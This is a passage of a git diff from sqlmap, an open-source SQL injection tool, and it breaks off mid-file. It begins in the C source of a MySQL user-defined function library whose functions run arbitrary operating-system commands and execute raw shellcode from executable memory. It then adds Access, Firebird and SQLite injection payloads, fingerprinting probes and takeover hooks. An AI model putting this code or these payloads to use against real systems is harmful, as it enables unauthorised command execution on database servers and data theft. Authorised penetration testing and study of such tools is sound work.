PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define DLLEXP __declspec(dllexport) +#else +#define DLLEXP +#include +#include +#include +#endif + +#ifdef STANDARD +#include +#include +#include +#ifdef __WIN__ +typedef unsigned __int64 ulonglong; +typedef __int64 longlong; +#else +typedef unsigned long long ulonglong; +typedef long long longlong; +#endif /*__WIN__*/ +#else +#include +#include +#endif +#include +#include +#include +#include + +#include + +#ifdef HAVE_DLOPEN +#ifdef __cplusplus +extern "C" { +#endif + +#define LIBVERSION "lib_mysqludf_sys version 0.0.3" + +#ifdef __WIN__ +#define SETENV(name,value) SetEnvironmentVariable(name,value); +#else +#define SETENV(name,value) setenv(name,value,1); +#endif + +DLLEXP +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +); + +DLLEXP +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_get + * + * Gets the value of the specified environment variable. + */ +DLLEXP +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_get_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_set + * + * Sets the value of the environment variables. + * This function accepts a set of name/value pairs + * which are then set as environment variables. + * Use sys_get to retrieve the value of such a variable + */ +DLLEXP +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_set_deinit( + UDF_INIT *initid +); + +DLLEXP +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_exec + * + * executes the argument commandstring and returns its exit status. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_exec_deinit( + UDF_INIT *initid +); + +DLLEXP +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_eval + * + * executes the argument commandstring and returns its standard output. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_eval_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + + +#ifdef __cplusplus +} +#endif + +/** + * lib_mysqludf_sys_info + */ +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + my_bool status; + if(args->arg_count!=0){ + strcpy( + message + , "No arguments allowed (udf: lib_mysqludf_sys_info)" + ); + status = 1; + } else { + status = 0; + } + return status; +} + +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +){ +} + +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + strcpy(result,LIBVERSION); + *length = strlen(LIBVERSION); + return result; +} + +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count==1 + && args->arg_type[0]==STRING_RESULT){ + initid->maybe_null = 1; + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_get_deinit( + UDF_INIT *initid +){ +} + +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + char* value = getenv(args->args[0]); + if(value == NULL){ + *is_null = 1; + } else { + *length = strlen(value); + } + return value; +} + +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count!=2){ + strcpy( + message + , "Expected exactly two arguments" + ); + return 1; + } + if(args->arg_type[0]!=STRING_RESULT){ + strcpy( + message + , "Expected string type for name parameter" + ); + return 1; + } + args->arg_type[1]=STRING_RESULT; + if((initid->ptr=malloc( + args->lengths[0] + + 1 + + args->lengths[1] + + 1 + ))==NULL){ + strcpy( + message + , "Could not allocate memory" + ); + return 1; + } + return 0; +} + +void sys_set_deinit( + UDF_INIT *initid +){ + if (initid->ptr!=NULL){ + free(initid->ptr); + } +} + +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + char *name = initid->ptr; + char *value = name + args->lengths[0] + 1; + memcpy( + name + , args->args[0] + , args->lengths[0] + ); + *(name + args->lengths[0]) = '\0'; + memcpy( + value + , args->args[1] + , args->lengths[1] + ); + *(value + args->lengths[1]) = '\0'; + return SETENV(name,value); +} + +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_exec_deinit( + UDF_INIT *initid +){ +} + +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + return system(args->args[0]); +} + +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_eval_deinit( + UDF_INIT *initid +){ +} + +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + FILE *pipe; + char line[1024]; + unsigned long outlen, linelen; + + result = malloc(1); + outlen = 0; + + pipe = popen(args->args[0], "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (!(*result) || result == NULL) { + *is_null = 1; + } else { + result[outlen-1] = 0x00; + *length = strlen(result); + } + + return result; +} + +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} + +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + len = (size_t)strlen(args->args[0]); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN64) +void __exec_payload(LPVOID); + +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __exec_payload(lpParameter); + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + } + + return 0; +} +#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ \ No newline at end of file diff --git a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj new file mode 100644 index 000000000..e74941405 Binary files /dev/null and b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj differ diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 52ea34f8e..7b591ed9e 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -29,11 +29,17 @@ from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import SQLITE_ALIASES +from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import FIREBIRD_ALIASES from plugins.dbms.mssqlserver import MSSQLServerMap from plugins.dbms.mysql import MySQLMap from plugins.dbms.oracle import OracleMap from plugins.dbms.postgresql import PostgreSQLMap +from plugins.dbms.sqlite import SQLiteMap +from plugins.dbms.access import AccessMap +from plugins.dbms.firebird import FirebirdMap def setHandler(): """ @@ -42,12 +48,15 @@ def setHandler(): """ count = 0 - dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" ) + dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird" ) dbmsMap = ( ( MYSQL_ALIASES, MySQLMap ), ( ORACLE_ALIASES, OracleMap ), ( PGSQL_ALIASES, PostgreSQLMap ), ( MSSQL_ALIASES, MSSQLServerMap ), + ( SQLITE_ALIASES, SQLiteMap ), + ( ACCESS_ALIASES, AccessMap ), + ( FIREBIRD_ALIASES, FirebirdMap ), ) for dbmsAliases, dbmsEntry in dbmsMap: diff --git a/lib/core/agent.py b/lib/core/agent.py index c6c54e48f..6a2ddbeea 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -182,6 +182,11 @@ class Agent: @rtype: C{str} """ + # SQLite version 2 does not support neither CAST() nor IFNULL(), + # introduced only in SQLite version 3 + if kb.dbms == "SQLite": + return field + if field.startswith("(CASE"): nulledCastedField = field else: @@ -252,12 +257,12 @@ class Agent: @return: query fields (columns) and more details @rtype: C{str} """ - + prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*" fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) - fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I) - fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I) - fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I) - fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I) + fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) + fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) + fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I) + fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) fieldsNoSelect = query if fieldsSelectTop: @@ -284,7 +289,7 @@ class Agent: if kb.dbms == "MySQL": concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2) - elif kb.dbms in ( "PostgreSQL", "Oracle" ): + elif kb.dbms in ( "PostgreSQL", "Oracle", "SQLite" ): concatenatedQuery = "%s||%s" % (query1, query2) elif kb.dbms == "Microsoft SQL Server": @@ -342,7 +347,7 @@ class Agent: elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop) - elif kb.dbms in ( "PostgreSQL", "Oracle" ): + elif kb.dbms in ( "PostgreSQL", "Oracle", "SQLite" ): if fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1) concatenatedQuery += "||'%s'" % temp.stop @@ -483,9 +488,13 @@ class Agent: untilFrom = limitedQuery[:fromIndex] fromFrom = limitedQuery[fromIndex+1:] - if kb.dbms in ( "MySQL", "PostgreSQL" ): + if kb.dbms in ( "MySQL", "PostgreSQL", "SQLite" ): limitStr = queries[kb.dbms].limit % (num, 1) limitedQuery += " %s" % limitStr + + elif kb.dbms == "Firebird": + limitStr = queries[kb.dbms].limit % (num+1, num+1) + limitedQuery += " %s" % limitStr elif kb.dbms == "Oracle": if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery: diff --git a/lib/core/common.py b/lib/core/common.py index 8e365f209..c1ec8270c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -127,7 +127,7 @@ def formatDBMSfp(versions=None): @rtype: C{str} """ - if not versions or versions == [None]: + if ( not versions or versions == [None] ) and kb.dbmsVersion[0] != "Unknown": versions = kb.dbmsVersion if isinstance(versions, str): @@ -734,14 +734,19 @@ def getDelayQuery(andCond=False): if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"): query = queries[kb.dbms].timedelay % conf.timeSec - if kb.dbms == "MySQL" and andCond: - query = query.replace("SELECT ", "") - else: query = queries[kb.dbms].timedelay2 % conf.timeSec + elif kb.dbms is "Firebird": + query = queries[kb.dbms].timedelay else: query = queries[kb.dbms].timedelay % conf.timeSec + if andCond: + if kb.dbms in ( "MySQL", "SQLite" ): + query = query.replace("SELECT ", "") + elif kb.dbms is "Firebird": + query = "(%s)>0" % query + return query def getLocalIP(): diff --git a/lib/core/settings.py b/lib/core/settings.py index 4dca668f8..996639caa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -52,18 +52,30 @@ PYVERSION = sys.version.split()[0] # Url to update Microsoft SQL Server XML versions file from MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" -# Database managemen system specific variables +# Database management system specific variables MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql" PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" ) ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME +SQLITE_SYSTEM_DBS = ( "sqlite_master", "sqlite_temp_master" ) +ACCESS_SYSTEM_DBS = ( "MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\ + "MSysAccessXML", "MSysModules", "MSysModules2" ) +FIREBIRD_SYSTEM_DBS = ( "RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\ + "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\ + "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES",\ + "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\ + "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\ + "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS" ) MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] MYSQL_ALIASES = [ "mysql", "my" ] PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ] ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] +SQLITE_ALIASES = [ "sqlite", "sqlite3" ] +ACCESS_ALIASES = [ "access", "jet", "microsoft access", "msaccess" ] +FIREBIRD_ALIASES = [ "firebird", "mozilla firebird", "interbase", "ibase", "fb" ] -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES SUPPORTED_OS = ( "linux", "windows" ) SQL_STATEMENTS = { diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 987b29ddc..1779e7d02 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -103,6 +103,8 @@ def bannerParser(banner): DBMS banner based upon the data in XML file """ + xmlfile = None + if kb.dbms == "Microsoft SQL Server": xmlfile = paths.MSSQL_XML elif kb.dbms == "MySQL": @@ -112,6 +114,9 @@ def bannerParser(banner): elif kb.dbms == "PostgreSQL": xmlfile = paths.PGSQL_XML + if not xmlfile: + return + checkFile(xmlfile) if kb.dbms == "Microsoft SQL Server": diff --git a/lib/request/inject.py b/lib/request/inject.py index 0e499582d..75284a4a6 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -133,6 +133,10 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r if kb.dbmsDetected: _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) + rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) + if rdbRegExp and kb.dbms == "Firebird": + expressionFieldsList = [expressionFields] + if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " infoMsg += "sqlmap will now unpack it into distinct queries " @@ -375,6 +379,9 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, conf.paramFalseCond = oldParamFalseCond conf.paramNegative = oldParamNegative + if value: + value = value.strip() + return value def goStacked(expression, silent=False): diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 8ef0080b2..b9bb997e3 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -121,9 +121,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None queriesCount[0] += 1 position = (len(asciiTbl) / 2) posValue = asciiTbl[position] + + if kb.dbms == "SQLite": + posValueOld = posValue + posValue = chr(posValue) + forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload) + if kb.dbms == "SQLite": + posValue = posValueOld + if result: minValue = posValue asciiTbl = asciiTbl[position:] diff --git a/plugins/dbms/access.py b/plugins/dbms/access.py new file mode 100644 index 000000000..14ac6ab3a --- /dev/null +++ b/plugins/dbms/access.py @@ -0,0 +1,287 @@ +#!/usr/bin/env python + +""" +$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import re + +from lib.core.agent import agent +from lib.core.common import formatDBMSfp +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.session import setDbms +from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import ACCESS_SYSTEM_DBS +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous +from plugins.generic.takeover import Takeover + + +class AccessMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Access methods + """ + + def __init__(self): + self.excludeDbsList = ACCESS_SYSTEM_DBS + + Enumeration.__init__(self, "Microsoft Access") + Filesystem.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(AccessMap.unescape) + + @staticmethod + def unescape(expression, quote=True): + if quote: + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "CHR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "&" + + expression = expression.replace(old, unescaped) + else: + unescaped = "".join("CHR(%d)&" % ord(c) for c in expression) + if unescaped[-1] == "&": + unescaped = unescaped[:-1] + + expression = unescaped + + return expression + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find(")") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.lstrip("CHR(").rstrip(")") + oldUpper = oldUpper.split("&") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped).replace("'&'", "") + + return expression + + def __sandBoxCheck(self): + # Reference: http://milw0rm.com/papers/198 + retVal = None + table = None + if kb.dbmsVersion and len(kb.dbmsVersion) > 0: + if kb.dbmsVersion[0] in ("97", "2000"): + table = "MSysAccessObjects" + elif kb.dbmsVersion[0] in ("2002-2003", "2007"): + table = "MSysAccessStorage" + if table: + query = agent.prefixQuery(" AND EXISTS(SELECT CURDIR() FROM %s)" % table) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + retVal = "not sandboxed" if result else "sandboxed" + + return retVal + + def __sysTablesCheck(self): + infoMsg = "executing system table(s) existance fingerprint" + logger.info(infoMsg) + + # Microsoft Access table reference updated on 01/2010 + sysTables = { + "97": ("MSysModules2", "MSysAccessObjects"), + "2000" : ("!MSysModules2", "MSysAccessObjects"), + "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), + "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs") + } + # MSysAccessXML is not a reliable system table because it doesn't always exist + # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") + + for version, tables in sysTables.items(): + exist = True + for table in tables: + negate = False + if table[0] == '!': + negate = True + table = table[1:] + randInt = randomInt() + query = agent.prefixQuery(" AND EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt)) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + if negate: + result = not result + exist &= result + if not exist: + break + if exist: + return version + + return None + + def getFingerprint(self): + value = "" + wsOsFp = formatFingerprint("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += "Microsoft Access" + return value + + actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck()) + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp["dbmsVersion"] + + if re.search("-log$", kb.data.banner): + banVer += ", logging enabled" + + banVer = formatDBMSfp([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = getHtmlErrorFp() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if conf.dbms in ACCESS_ALIASES: + setDbms("Microsoft Access") + if not conf.extensiveFp: + return True + + logMsg = "testing Microsoft Access" + logger.info(logMsg) + + payload = agent.fullPayload(" AND VAL(CVAR(1))=1") + result = Request.queryPage(payload) + + if result: + logMsg = "confirming Microsoft Access" + logger.info(logMsg) + + payload = agent.fullPayload(" AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") + result = Request.queryPage(payload) + + if not result: + warnMsg = "the back-end DMBS is not Microsoft Access" + logger.warn(warnMsg) + return False + + setDbms("Microsoft Access") + + if not conf.extensiveFp: + return True + + kb.dbmsVersion = [self.__sysTablesCheck()] + + return True + else: + warnMsg = "the back-end DMBS is not Microsoft Access" + logger.warn(warnMsg) + + return False + + def getPasswordHashes(self): + warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def readFile(self, rFile): + errMsg = "on Microsoft Access it is not possible to read files" + raise sqlmapUnsupportedFeatureException, errMsg + + def writeFile(self, wFile, dFile, fileType=None, confirm=True): + errMsg = "on Microsoft Access it is not possible to write files" + raise sqlmapUnsupportedFeatureException, errMsg + + def osCmd(self): + errMsg = "on Microsoft Access it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osShell(self): + errMsg = "on Microsoft Access it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osPwn(self): + errMsg = "on Microsoft Access it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def osSmb(self): + errMsg = "on Microsoft Access it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def getBanner(self): + errMsg = "on Microsoft Access it is not possible to get a banner" + raise sqlmapUnsupportedFeatureException, errMsg \ No newline at end of file diff --git a/plugins/dbms/firebird.py b/plugins/dbms/firebird.py new file mode 100644 index 000000000..9c1da9648 --- /dev/null +++ b/plugins/dbms/firebird.py @@ -0,0 +1,279 @@ +#!/usr/bin/env python + +""" +$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import re + +from lib.core.agent import agent +from lib.core.common import formatDBMSfp +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt, randomRange +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.session import setDbms +from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import FIREBIRD_SYSTEM_DBS +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous +from plugins.generic.takeover import Takeover + + +class FirebirdMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Firebird methods + """ + + def __init__(self): + self.excludeDbsList = FIREBIRD_SYSTEM_DBS + + Enumeration.__init__(self, "Firebird") + Filesystem.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(FirebirdMap.unescape) + + @staticmethod + def unescape(expression, quote=True): + if quote: + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "ASCII_CHAR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "||" + + expression = expression.replace(old, unescaped) + else: + unescaped = "".join("ASCII_CHAR(%d)||" % ord(c) for c in expression) + if unescaped[-1] == "||": + unescaped = unescaped[:-1] + + expression = unescaped + + return expression + + @staticmethod + def escape(expression): + while True: + index = expression.find("ASCII_CHAR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find(")") + + if index == -1: + raise sqlmapSyntaxException, 